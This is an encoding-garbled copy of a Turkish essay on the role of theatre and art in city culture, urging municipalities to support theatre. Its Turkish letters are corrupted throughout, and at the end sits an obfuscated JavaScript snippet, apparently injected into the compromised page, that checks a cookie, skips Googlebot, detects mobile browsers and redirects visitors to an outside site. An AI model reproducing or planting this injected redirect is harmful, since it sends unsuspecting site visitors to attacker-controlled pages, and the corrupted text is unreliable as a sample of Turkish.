16 Ağustos 2018, Perşembe
SON HABERLER
Buradasınız: Anasayfa / Deneme / Kent KA?ltA?rA?nde Tiyatro
Kent KA?ltA?rA?nde Tiyatro

Kent KA?ltA?rA?nde Tiyatro

BugA?n, genelde sanatAi??n, Ai??zelde tiyatronun kent yaAYamAi?? iAi??indeki Ai??nemini bilen; bununAi?? uygar insan iliAYkileri iAi??in ne denli vazgeAi??ilmez bir olgu olduAYunun bilincinde olanlarAi??n Ai??oAYunluAYu oluAYturamadAi??AYAi?? kentlerde yaAYadAi??AYAi??mAi??z bir gerAi??ek. Ai??nsanlarAi??mAi??zAi??n Ai??oAYunun kendilerini kentli olarak hissetmedikleri; kentlerini sevmedikleri, onlara sahiplenmedikleri; kentlilik bilincinin ve estetiAYinin gereklerine karAYAi?? duyarsAi??z kaldAi??klarAi??; daha bencil, katAi??, umursamaz ve kAi??tA?mser bir yaAYamAi?? sA?rA?kler gibi yaAYamaya Ai??alAi??AYtAi??klarAi?? da bir gerAi??ek.

Oysa kent yaAYamAi??na ve bu yaAYamAi??n geliAYtirdiAYi kent kA?ltA?rA?nA?n geAi??miAYine baktAi??AYAi??mAi??zdaAi?? bunun bAi??yle olmadAi??AYAi??nAi?? gAi??rmek iAi??in biraz tarihe bakmak yeterlidir.Ai??ren yerlerimizi gAi??ren gAi??zlerle gezmek evrensel kent kA?ltA?rA? gerAi??eAYinin gAi??zlerimizin Ai??nA?ne serilmesi iAi??in yeterlidir. Efes gibi, Bergama gibi, Afrodisias gibi Antik KA?ltA?rA?n yaygAi??n olarak yaAYandAi??AYAi?? bAi??lgelerinAi?? hemen tA?m kentlerinde hep aynAi?? dA?AYA?ncenin kent yapAi??sAi??na ve kA?ltA?rA?ne yansAi??masAi??nAi?? izlemek Ai??arpAi??cAi??dAi??r. BugA?n bile geAi??erliliAYini koruyan bu ilke :Ai??ai???SaAYlAi??klAi?? bir kent, iAi??inde saAYlAi??klAi?? insanlarAi??n yaAYadAi??AYAi?? kenttirai???Ai??ilkesidir.

Ai??nsan ruh ve bedenai??i??den meydana gelen bir varlAi??k olduAYuna gAi??re SaAYlAi??klAi??Ai?? Ai??nsanai??i??dan kasAi??t elbette :ai???Ruh ve Beden saAYlAi??AYAi??ai??i??nAi?? birlikte deAYerlendiren, edinen ve koruyan insanai???dAi??r. Birlikte yA?rA?mesi gereken bu iki saAYlAi??k Ai??zelliAYinden bir tanesine, Ai??tekinin aleyhine aAYAi??rlAi??k verirseniz burada bir saAYlAi??ksAi??zlAi??k baAYlar. Ai??nsanAi??n beden saAYlAi??AYAi??Ai??sporai??i??la; ruh saAYlAi??AYAi??Ai??sanatai???la korunur. Bu nedenle Antik DA?nyanAi??n zengin fakir tA?m kentlerinde, spor iAi??inAi??Gymnasiumai??i??larAi??; sanat iAi??in deAi??OdeonAi??veAi??TiyatroAi??yapAi??larAi??nAi?? olabildiAYince yan yana kurduklarAi??nAi?? ve kentlilerin yararlarAi??na sunduklarAi??nAi?? gAi??rA?yoruz.

AslAi??nda insan saAYlAi??AYAi??nAi??n bu iki boyutluluAYu bugA?n de geAi??erli. Beden saAYlAi??AYAi??mAi??z iAi??in spor yapmak zorundayAi??z. YalnAi??z spor yapar; ruhsal gereksinimimiz iAi??in gerekli olan Sanatai??i??Ai?? ihmal edersek beden saAYlAi??AYAi?? geliAYmiAY ama ruh saAYlAi??AYAi?? bozuk insanlar haline geliriz. Bunun tersi de toplumsal yaAYam iAi??in aynAi?? saAYlAi??ksAi??zlAi??AYAi?? taAYAi??r. Ruhen saAYlAi??klAi?? ama bedenen saAYlAi??ksAi??z bir insan da tA?mA?yle saAYlAi??klAi?? biri sayAi??lamaz. Azu halde giderek daha stresli bir yaAYam biAi??iminin egemen olduAYu kent yaAYamAi??nAi??n gerektirdiAYi dayanma gA?cA?mA?zA?; her iki yapAi??mAi??zAi?? sA?rekli gAi??zeterek, geliAYtirerekAi?? korumamAi??z sAi??z konusudur. Evet SayAi??n Yerel YAi??netim Yetkilileri: DA?n kent yaAYamAi?? iAi??in bAi??yleydi, bugA?n de bAi??yle, yarAi??n da bAi??yle olacak. Ai??A?nkA? Ai??nsan aynAi?? insan.

TopraAYAi?? bol olsun Prof. Dr. Nermi Uygur, ai???Kentler ve KAi??ylerai???Ai??baAYlAi??klAi?? incelemesinde kenti uygarlAi??k ve kA?ltA?r tarihinde benzeri olmayan bir ilerleme olarak nitelendirir ve sorar : ai???Ai??nsan, insanca yaAYamAi?? hak ettiAYine gAi??re insanAi??n varettiAYi en karmaAYAi??k araAi??lardan birisi olan kentin de insana en uygun yaAYama ortamAi?? sunmasAi?? gerekmiyor mu ?ai???

Evet SayAi??n Uygurai??i??un uygar sorusunu uygarca yanAi??tlamak bir dizi Evetai??i??i iAi??erecektir kuAYkusuz. Evet, ai???Kentai??? demek ai???insanca varolunabilen bir yerai??? demektir. Evet, bunun anlamAi??, insanAi?? insan yapan biyolojik, psikolojik ve sosyal kA?ltA?rel geliAYimlerin gereAYince ve insan onuruna yakAi??AYan bir biAi??imde karAYAi??lanmasAi?? demektir. Kent aAYamasAi??na gelinceye kadar insanlarAi??n oturduklarAi?? yerleAYim biAi??imleri bu gereksinimleri yeterince karAYAi??lamAi??AY olsaydAi??, kent gibi bir yerleAYim biAi??imine gerek kalmazdAi??. BugA?n sAi??zA? edilen tA?m olumsuzluklarAi??na karAYAi??n kAi??rsal kesimden kentlere yAi??nelik yoAYun gAi??Ai??A?n anlamAi??nAi?? belki de en yalAi??n biAi??imde bu perspektifte ifade etmek mA?mkA?n.

Ai??fkeyle sorup duruyoruz: Neden geliyor bu insanlar kente? Elbette sadece iAY ve aAY bulmak iAi??in gelmiyorlar. Ai??nsanAi?? insan yapan gereksinimlerin gereAYince ve insan onuruna yakAi??AYan bir biAi??imde karAYAi??lanabilmesi iAi??in geliyorlar. Kentin asAi??l varoluAY mantAi??AYAi?? budur. Ai??aAYdaAY kentler iAi??in de gayet tabii bu varoluAY mantAi??AYAi?? geAi??erlidir. Azayet kent bu gereksinimi karAYAi??layamAi??yorsa temel iAYlevlerini yerine getirmemiAY sayAi??lAi??r.

O zaman ne olur peki ?

O zaman kent, istenmeyen Ai??zellikleriyle Ai??ne Ai??Ai??kan ; insanlarAi??n yalnAi??zca geAi??im zorluAYu ile baAYlandAi??klarAi??; her fAi??rsatta ondan uzaklaAYmaya Ai??alAi??AYtAi??klarAi?? garip bir yerleAYim alanAi?? haline gelir. Salt ekonomik anlamda hareketliliAYi barAi??ndAi??ran bir kentte yaAYam mekanik, yapay, renksiz, huzur ve mutluluk vermekten uzak bir iliAYkiler zinciri olmaktan Ai??teye geAi??emez. BAi??ylesine bir metaforlaAYma elbette gerAi??ek anlamda Ai??Ai??zA?lmesi Ai??ok gA?Ai?? kiAYisel ve toplumsal sorunlarAi??n dinamosu olacaktAi??r.

BugA?n kentler A?zerine konuAYurken, baAYta Ai??stanbul olmak A?zere kalabalAi??k kentlerden ne kadar yakAi??nAi??lmakta olduAYuna hepimiz tanAi??k olmuAYuzdur. YaAYAi??yoruz ve yaAYanan bu tA?r bA?yA?k kentlerdeki yaAYam A?stA?ne yakAi??nmalardan anlAi??yoruz ki: Kent gA?rA?ltA?lA?dA?r. Kentin sokaklarAi?? tehlikelidir, pistir, saAYlAi??ksAi??zdAi??r. YakAi??nmalarAi??n ortak noktalarAi?? bu tA?r AYikA?yetlerdir. Yerel yAi??netimler bunlarAi??n A?stesinden gelmek iAi??in gerekli olan altyapAi??yAi?? toparlamaya Ai??alAi??AYAi??yorlar. Ne var ki bu toparlama Ai??abalarAi??nAi??n henA?z insanAi??n biyolojik ihtiyaAi??larAi??nAi??n A?stA?ne Ai??Ai??kabildiAYi kentlerimizin sayAi??sAi?? iki elin parmaklarAi??nAi?? geAi??emiyor.

BA?tA?n bunlarAi??n uzantAi??sAi?? olarak tabii, kafalarda oluAYan fikirler adeta bir Ai??nyargAi?? haline gelip AYAi??yle biAi??imleniveriyor: ai???Kent insanAi?? gA?venilmezdir, bencildir, Ai??Ai??karcAi??dAi??r, kabadAi??r, gAi??rgA?sA?zdA?r. Ai??evresinde olup bitene aldAi??rmaz, duyarsAi??zdAi??r. DoAYal ve saf olan her AYeyden uzaktAi??r ve doAYal olan herAYeye karAYAi?? bir Ai??zlem iAi??indedir. Yorgundur, sinirlidir, kavgacAi??dAi??r, telA?AYlAi??dAi??r, hep acelesi vardAi??r. Pek Ai??ok AYeyle yakAi??nlAi??k kuramaz. YakAi??nlAi??k kuramadAi??AYAi?? her AYeye karAYAi?? yabanidir. Her tA?rlA? iliAYkisini para A?zerine kurduAYu iAi??in maddidir. Manevi deAYerlerin uzaAYAi??nda yaAYar. Bu nedenle kent insanAi??ndan uzak durmak gerekir…ai???

KAi??y, kasaba hatta kA?Ai??A?k kent insanAi??nAi??n saf, temiz iAi??ten yapAi??sAi??; sAi??cak komAYuluk, insanlAi??k iliAYkileri her zaman iAi??in aklAi??mAi??zAi??n bir kAi??AYesinde hep bir Ai??zlem olarak durur. BA?tA?n bunlar aslAi??nda olmayan ya da saAYlAi??klAi?? olmayan kent kA?ltA?rA?nA?n gAi??stergelerinden baAYka bir AYey deAYildir. Ai??rnekleri kolayca Ai??oAYaltabilir, Ai??eAYitlendirebilirsiniz.

Kent yaAYamAi??nda genel anlamda bir hantallaAYmadan sAi??z edebiliriz. Kabul etmeliyiz ki tA?m hAi??zlAi?? ve gA?rA?ltA?lA? dinamiklerle yaAYanmasAi??na karAYAi??n; tAi??pkAi?? yeterince eAYitilmemiAY; kafaca deAYil bedence geliAYmiAY bir insanAi??n hantallAi??AYAi?? var kent yaAYamAi??mAi??zda.

Oysa, madalyonun aAi??Ai??kAi??a ihmal edilen ai???sanatai??? boyutuna baktAi??AYAi??mAi??zda gAi??rA?lenler bu kadar karanlAi??k deAYil. Sanat, hem bir birey olarak hem de baAYkalarAi??yla iliAYkilerinde kalite yA?kseltici bir iAYlevi A?stlenmiAY gAi??rA?nA?yor. Bu nedenle insan iliAYkilerinin en geliAYmiAY, Ai??ok yAi??nlA? biAi??imlerinin yaAYandAi??AYAi?? kent kA?ltA?rA?nde insan-sanat iliAYkileri bA?yA?k bir Ai??nem taAYAi??yor.

BatAi??Ai?? uygarlAi??AYAi??nAi??n RAi??nesans Ai??aAYlarAi??nAi??n yaAYandAi??AYAi??Ai??15. ve 16. yA?zyAi??llardan baAYlayarak kent kA?ltA?rA? iAi??inde sanatsal etkinliklerin gerAi??ekleAYtirilmesine ve olabildiAYince paylaAYAi??lmasAi??na Ai??nem verdiAYini biliyoruz. Sanat temelde estetik haz veren; ama ilk bakAi??AYta eAYlendirerek oyalarken eAYiten ve eleAYtiren bir iAYlev yerine getirmektedir. SanatAi??n kent yaAYamAi?? iAi??inde Ai??nemsenmesi 18. yA?zyAi??lla birlikte daha da artar. Sanata, insan ruhlarAi??nAi?? yaAYamAi??n karanlAi??klarAi??ndan kurtaran; onlarAi?? gerAi??ek yaAYamdan daha A?stA?n olan ideal ve erdemli bir yaAYam iAi??in hazAi??rlayan bir gA?Ai?? olarak bakAi??lmaya baAYlanAi??r. Sanat insanlarAi?? olup bitenlerin dA?nyasAi??ndan, olmasAi?? gerekenlerin dA?nyasAi??na taAYAi??maktadAi??r. Olup bitenlerin farkAi??na; olmasAi?? gerekenlerin de bilincine vardAi??rmaktadAi??r. YaAYamAi??n yenilenmesine, deAYiAYimlerin geliAYime dAi??nA?AYmesine sanat bA?yA?k katkAi?? saAYlamakta; yaAYamAi??n yasalarAi??nAi?? Ai??AYretmekte; kent kA?ltA?rA?nde, doAYanAi??n A?stA?nde oluAYturulan yasa, gAi??rev, sorumluluk ve davranAi??AY kurallarAi??nAi??n doAYa yasalarAi??yla ne Ai??lAi??A?de Ai??rtA?AYA?p Ai??eliAYtiAYini denetlemekte; kiAYinin sanat yoluyla kendisini estetik olarak ifade etmesine; kendisini gerAi??ekleAYtirmesine yardAi??m etmektedir.

SanatAi??n insan bilincine ve insan iliAYkilerine yararlarAi??Ai??A?zerine baAYka AYeyler de sAi??ylenebilir. Sanat yaAYam deneyimini Ai??oAYaltmaktadAi??r. YaAYamAi??n gerAi??ekleri; doAYumun, Ai??lA?mA?n, aAYkAi??n yol aAi??tAi??AYAi?? gerAi??ek Ai??atAi??AYmalar, sanat eserlerinde daha yoAYun, daha aAi??Ai??k, daha etkili olarak gAi??sterilebilmektedir. Ai??zellikle tiyatro, sinema gibi sanatlar olup bitenleri derinlemesine incelememizi; yaAYarken A?zerinde dA?AYA?nme fAi??rsatAi?? bulamadAi??klarAi??mAi??z A?zerinde durup daha derin incelememizi saAYlamaktadAi??r. Kendi duygularAi??mAi??zAi??n ne olduAYunu, nedenleri ve sonuAi??larAi??yla Ai??AYrenmemize katkAi??da bulunmaktadAi??r.

BA?tA?n bunlarAi??, kentin tA?m insanlarAi??nda aynAi??Ai??heyecanAi??, aynAi?? duygularAi?? uyandAi??rarak yapar Sanat. BAi??ylece yaAYadAi??AYAi?? kentin, sAi??nAi??fAi??n ve ulusun insanlarAi??na bir kiAYilik ve yaAYam bilinci aAYAi??lar.

Ai??nsanlarAi??n yakAi??nlaAYmalarAi??na, birbirlerini anlamalarAi??na yardAi??m ederek toplumsal birliAYin oluAYmasAi??na ve gA?Ai??lA? tutulmasAi??na katkAi??da bulunur. Sanat bize en azAi??ndan bir araya gelme ortamlarAi?? hazAi??rlamaktadAi??r. GA?zel olanAi?? paylaAYtAi??AYAi??mAi??z bu ortamlarda yaAYantAi??mAi??z geniAYlemekte;

daha gA?zel, daha yoAYun, daha anlamlAi?? davranAi??AYlar geliAYtirmemizi desteklemekte; yaAYantAi??larAi??mAi??zda ve iliAYkilerimizde yaAYam kalitesini yA?kseltici bir iAYlev yerine getirmektedir.

BA?tA?n bu Ai??zellikleri nedeniyle 18. yA?zyAi??ldan baAYlayarak BatAi?? kent kA?ltA?rA?nde sanatAi?? ve sanatAi??Ai??yAi?? yA?celten; koruyan bir gA?Ai??lA? eAYilim kendisini gAi??sterir. Bu eAYilimin Ai??aAYAi??mAi??zda da kent yaAYamAi??nAi?? adAi??na yakAi??AYan dA?zeyde sA?rdA?ren kentlerde devam etmekte olduAYu aAi??Ai??ktAi??r.

Ai??zetle sAi??ylemek gerekirse, ai???Sanat: FarkAi??na vardAi??rarak; bilgilendirerek, empati yoluyla olaylarAi?? baAYkasAi??nAi??n gAi??zA?yle gAi??zden geAi??irterek; haz verirken eAYiterek; eleAYtirerek; gA?nlA?k yaAYamda duymadAi??AYAi??; vakit ayAi??ramadAi??AYAi?? AYeyleri duyup yaAYatarak; sAi??nAi??rlAi?? benliAYini aAYarak Ai??zlemlerini yaAYamasAi??nAi?? saAYlayarak; benliAYini toplumsallaAYtAi??rarak; gA?Ai??lenmesinin evrensel hazlarAi??nAi?? duyurarak; insanAi??n kendisiyle, Ai??evresiyle iletiAYim kurmasAi??na; barAi??AYAi??k kalmasAi??na; yaAYamAi??n tadAi??na varmasAi??na katkAi??da bulunmaktadAi??r.

Ai??nsanAi?? inceltmekte, duyarlAi??klarAi??nAi?? bilemekte; onu yaAYama karAYAi?? gA?Ai??lendirmekte; onu kabalaAYmaktan, bencilleAYmekten, yalnAi??zlAi??ktan, yabancAi??laAYmaktan, ilkel olmanAi??n tuzaklarAi??ndan korumaktadAi??r. Giderek zorlaAYan yaAYam koAYullarAi?? karAYAi??sAi??nda dayanma, direnme gA?cA?nA? takviye etmektedir.

Kentlerimizde bu denli Ai??nemli iAYlevleri olan insan-sanat iliAYkilerinin beklediAYimiz dA?zeyde bulunmadAi??AYAi?? aAi??Ai??kAi??a gAi??rA?lA?yor. Azu halde yapAi??lmasAi?? gereken AYey herAYeyden Ai??nce kent insanAi??nAi??n sanatla iliAYkisini kolaylaAYtAi??racak, artAi??racak, yA?kseltecek Ai??nlemleri gecikmeden almaktAi??r. Ai??nsanAi??n sanatla iliAYkisi kent insanAi??nAi??n alAi??AYkanlAi??klarAi??ndan biri durumuna gelmelidir. Spor gibi, saAYlAi??k gibi, yAi??kanmak gibi.

Kentlinin sanatla buluAYacaAYAi??, sanat yapacaAYAi??, sanatAi?? paylaAYacaAYAi?? mekA?nlar nicelik ve nitelik yAi??nA?nden arttAi??rAi??lmalAi??dAi??r. Ai??zellikle Ai??aAYdaAY teknolojinin getirdikleri bu mekA?nlara gecikilmeden kazandAi??rAi??lmalAi??dAi??r. EAYitim programlarAi??nda temel sanat eAYitimi ve gAi??rgA?sA? ciddi biAi??imde iAYlenmeli; insan-sanat iliAYkisini zedeleyen sorunlar savsaklanmamalAi??, ertelenmemelidir.

Sponsorluk bir reklam aracAi??Ai??olmaktan kurtarAi??lmalAi??; o kentten kazanan firmalarAi??n o kente olan vefa borAi??larAi??nAi?? yerine getirmeleri AYeklinde algAi??lanmalAi?? ve o boyutlarda uygulanmalAi??dAi??r. Kentte sanat A?retecek, tA?ketecek ortamlar desteklenmelidir. SanatAi?? A?retmeyen, sadece tA?keten yerleAYimlerin bA?yA?klA?AYA? ne olursa olsun ai???TaAYraai??? olma niteliAYinden kurtulamayacaklarAi?? unutulmamalAi??dAi??r.

Kent KA?ltA?rA?nde bu denli Ai??nem taAYAi??yan insan-sanat iliAYkilerine daha Ai??oAYul bir perspektiften yaklaAYtAi??AYAi??mAi??zda; ai???tiyatroai??? sanatAi??nAi??n tA?m Ai??teki sanatlardan daha Ai??ok, daha aAYAi??rlAi??klAi?? bir yeri ve iAYleve sahip olduAYunu gAi??rA?yoruz. Bunun Ai??ok Ai??eAYitli nedenleri var. HerAYeyden Ai??nce tiyatro Ai??oAYul bir sanattAi??r. Sahneye konan ve beAYenilen bir oyunuAi?? yA?zlerce, binlerce kiAYi izler. Azu izleme olgusuna bile daha yakAi??ndan baktAi??AYAi??mAi??zda gAi??rA?nenler kent yaAYamAi?? iAi??inde tiyatronun ne denli birleAYtirici, yenileAYtirici bir iAYlev yerine getirdiAYiniAi?? gAi??stermek iAi??in yeterlidir aslAi??nda. Tiyatroya gitmek, uygarlAi??AYAi??n hiAi?? bir evresinde, sAi??radan, gA?nlA?k rutin iAYlerden biri olarak gAi??rA?lmemiAYtir. O gA?n tiyatro seyretmeye karar veren, bilet alan kiAYiler kendilerine Ai??ekidA?zen vererek tiyatroya gelirler. Birbirlerini tanAi??mayan, Ai??eAYitli gelir, kA?ltA?r ve sosyal dA?zeyden insanlar Ai??nce fuayede karAYAi??laAYAi??rlar. Dostluklar tazelenir. GA?nA?n konularAi?? A?zerine konuAYulur, insanlar birbirlerini gAi??rA?r, gA?nlA?k yaAYam telA?AYAi??ndan uzaktaAi?? bir iletiAYim baAYlar Sonra ziller Ai??alar, birbirlerini Ai??oAYunlukla tanAi??mayan insanlar yan yana koltuklara oturup sahnede sergilenen oyunu izlemeye baAYlarlar.

Ai??ok geAi??meden seyirci kitlesi tek bir organizma gibi birlikte soluk almaya, aynAi??Ai??AYeyleri gAi??rmeye, dA?AYA?nmeye, tepki veremeye, gA?lmeye, alkAi??AYlamaya baAYlar. Empati dediAYimiz insanAi??n kendini bir baAYka kiAYinin yerine koyup dA?AYA?nme ve deAYerlendirme Ai??zelliAYi devreye girer. Olan ve olmasAi?? gerekenler arasAi??ndaki hesaplaAYma, estetik izler bAi??rakacak biAi??imde sahnede akAi??p giderken ; sahne ile seyirci arasAi??nda kurulanAi?? etki tepki iliAYkileri Ai??ok geAi??meden izleyenleri bilgisizlikten bilgiye, bencil duygulardan toplumla bA?tA?nleAYmelere, yaAYamAi?? bir baAYka gAi??zle yeniden gAi??rmeye ve deAYerlendirmeye yAi??neltir.

Bu nedenle iAYlevini yerine getirmede baAYarAi??lAi??Ai??bir tiyatro oyunundan Ai??Ai??karken, izleyicilerin kafasAi??ndaAi??ai???Bir AYeyler yapAi??lmalAi??ai???, ai???Bir AYeyler yapmalAi??yAi??mai???AYimAYeklerinin Ai??akmaya baAYladAi??AYAi??ndan sAi??z edilir. SonuAi??ta insanlar yaAYam sevincini tazelemiAY, gA?Ai??lenmiAY, duygularAi?? ve dA?AYA?nceleri bakAi??mdan geAi??miAY bir biAi??imde evlerine, gA?nlA?k yaAYamlarAi??na dAi??nerler

BAi??ylece hayatAi?? daha iyi ve gA?zele doAYru geliAYtirmek iAi??in gA?Ai?? tazelemiAY olurlar.

Tiyatro sanatAi??nAi??n binlerce yAi??llAi??k geAi??miAYinde toplumsal yaAYam A?zerindeki en temel iAYleviAi?? olarak bu Ai??zelliAYi gAi??sterilmiAYtir. Ai??ster Ege kAi??yAi??larAi??nAi??n daAYlara yaslanmAi??AY 20-30 bin kiAYilik antik tiyatrolarAi??nda; ister OrtaAi??aAYAi??n ilkel arabalAi?? sahneleri Ai??nA?nde; ai???Renaissanceai??? saraylarAi??nAi??n gAi??rkemli gAi??sterilerinde; Ortaoyunuai??i??nun bir halatla ayrAi??lmAi??AY toprak sahnesi Ai??nA?nde; isterse Ai??aAYAi??mAi??zAi??n teknik olanaklarAi?? her gA?n biraz daha geliAYtirilen inerli, Ai??Ai??karlAi??, dAi??nerli, kayarlAi?? sahnelerine bakan koltuklarda olsunlar; Seyirci-Tiyatro iliAYkisi Ai??oAYul bir gA?Ai??lenme, saAYaltma iliAYkisi olarak kendisini gAi??steren bir sosyo-kA?ltA?rel olgudur.

Birlikte paylaAYmanAi??n ve gA?Ai??lenmenin gizli sevincinin yaAYandAi??AYAi??, paylaAYAi??ldAi??AYAi??Ai?? bir deAYiAYim yeridir tiyatro. Son gA?nlerde ne Ai??ok tekrarlandAi??AYAi?? gibi: Ai??nsanAi??, insana, insanla ve insanca anlatmanAi??n sanatAi??dAi??r. Bu iliAYkiyi AYu Ai??zlA? sAi??zleriyle ne gA?zel Ai??zetler sAi??z ustasAi?? Bernard Shaw: ai???Tiyatronun amacAi??: GA?nlA?k yaAYantAi??lar kargaAYalAi??AYAi??ndan anlamlAi?? olaylarAi?? seAi??erek ayAi??rmak; aralarAi??ndaki iliAYkiyi belirtecek AYekilde dA?zenlemek; BAi??ylece bizleri, bu korkunAi?? karAi??AYAi??klAi??AYAi??Ai??n AYaAYkAi??n seyircileri olmaktan kurtarAi??p DA?nyayAi??, DA?nyanAi??n geleceAYini kavrayan akAi??llAi?? insanlar yapmaktAi??r.ai???

Schlegelai??i??e gAi??re :Ai??Bir tiyatro, bA?tA?n halka, kendine Ai??ekidA?zen veren bir kadAi??nAi??n ayna karAYAi??sAi??nda yaptAi??AYAi??nAi?? yaptAi??rAi??r. Tiyatronun kentin kA?ltA?r hareketlerinin dinamosu olma Ai??zelliAYinin bir baAYka boyutu da onun geniAY yaratma alanlarAi??na olanaklar veren Ai??zelliAYinden kaynaklanmaktadAi??r. Ai??A?nkA? tiyatro, Ai??eAYitli bilim ve sanat dallarAi??nAi??n senteziyle varolan bir kA?ltA?r geliAYimini de iAi??erir. Edebiyat, Felsefe, Sosyoloji, Psikoloji, Anlambilim, GAi??stergebilim, Resim, Heykel, Grafik, Dans, MA?zik, Oyunculuk, Dekor-KostA?m, IAYAi??k, Efekt…

Yaratma alanlarAi??Ai??bAi??ylesine geniAYAi??olan tiyatronun gerek eAYitim, gerekse kA?ltA?r tarihi aAi??Ai??sAi??ndan bir A?lkenin, bir kentin halkAi??na verecekleri de Ai??ylesine geniAYtir. SonuAi??ta bireylerin gA?Ai??lendirilmesi, arAi??ndAi??rAi??lmasAi??, duyarlAi??k katlarAi??nAi??n, dA?AYA?nce pratiklerinin, doAYruyu yanlAi??AYtan, gA?zeli Ai??irkinden ayrAi??ma yetilerinin geliAYmesine yol aAi??makta; bAi??ylece gA?dA?len, sA?rA?klenen sessiz yAi??AYAi??nlar olmaktan Ai??Ai??kmalarAi??na; Ai??aAYAi??nAi??n gereklerini ve kendini bilen bir birey olmanAi??n bilincine taAYAi??maktadAi??r.

Elbette bu tA?r bir insan malzemesinin yAi??netmekte zorlanacaAYAi??nAi??Ai??hisseden yAi??netimler tiyatroyu istememekte; tiyatrocularAi?? dAi??AYlayan, aAYaAYAi??layan bir tutum iAi??ine girmektedirler.

Bu tA?r olumsuz yaklaAYAi??mlara karAYAi?? en Ai??nemli giriAYimlerden biri de amatAi??r tiyatro Ai??alAi??AYmalarAi??dAi??r. Ekmek paralarAi??nAi?? farklAi?? uAYraAYlardan kazanan Ai??eAYitli kesimlerden, deAYiAYik yaAY ve kA?ltA?r gruplarAi??ndan gelen tiyatroseverler, bir amatAi??r tiyatro giriAYimi altAi??nda gA?Ai?? birliAYi yapmakta; bir yandan oyun oynamanAi??n dayanAi??lmaz Ai??ekiciliAYi iAi??inde sahneye Ai??Ai??kmanAi??n tadAi??nAi?? Ai??Ai??karAi??rken; bir yandan da Ai??evrelerinde tiyatro seyretme gereksinimi iAi??inde olan insanlara katkAi??da bulunabilmektedirler.

Belediyelerimizin bAi??rakAi??n boyuna tiyatro yapAi??lacak salonlarAi?? birbiri ardAi??ndan kapatmasAi??nAi??; bu tA?rden Ai??alAi??AYmalara daha Ai??ok kol kanat germesinin Ai??nemini vurgulamak burada : ai???Ali Topu Tutai??? yazmak kadar baAYlangAi??ca dAi??nmek olmaktadAi??r. FarkAi??ndayAi??m. Ama tiyatro Ai??alAi??AYmalarAi??na Ai??n ayak olmanAi??n yerel yAi??netimlerin yAi??relerindeki yaAYam kalitesini yA?kseltmekte ne denli Ai??nemli bir hizmet olduAYu gerAi??eAYini, bu zamanda, bir kez daha vurgulamak zorunda kalmanAi??n ne kadar Ai??nemli ve acAi?? olduAYunun da farkAi??ndayAi??m.

UygarlAi??k tarihi AYu gerAi??eAYiAi?? apaAi??Ai??k ortaya koyuyor : Nerede gerAi??ek tiyatroya deAYer verilmiAYse orada uygarlAi??k yA?kselmiAYtir. Ve nerede uygarlAi??k yA?kselmiAYse oranAi??n ileri bir tiyatrosu vardAi??r. Bu nedenle kentlerimiz ve kent yaAYamAi??nAi??n sosyal dA?zenini kollayan ve geliAYtirmeyi amaAi??layan kA?Ai??A?klA? bA?yA?klA? tA?m yerel yAi??netimlerimiz, tiyatro Ai??alAi??AYmalarAi??nAi?? korumak ve desteklemek iAi??in gerekenleri esirgememeliler. Ai??A?nkA? Ai??aAYAi??mAi??za yakAi??AYan bir kent kA?ltA?rA? saAYlAi??klAi?? insan iliAYkililerinden geAi??iyor. Bu kA?ltA?rel saAYlAi??AYAi??n en Ai??nemli polikliniklerini tiyatrolar oluAYturuyor. Ai??A?nkA? insan sanatla incelir ve yaAYamAi?? gA?zel iliAYkilerle gA?zelleAYtirir.

Ve insan olana da bu yaraAYAi??r.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 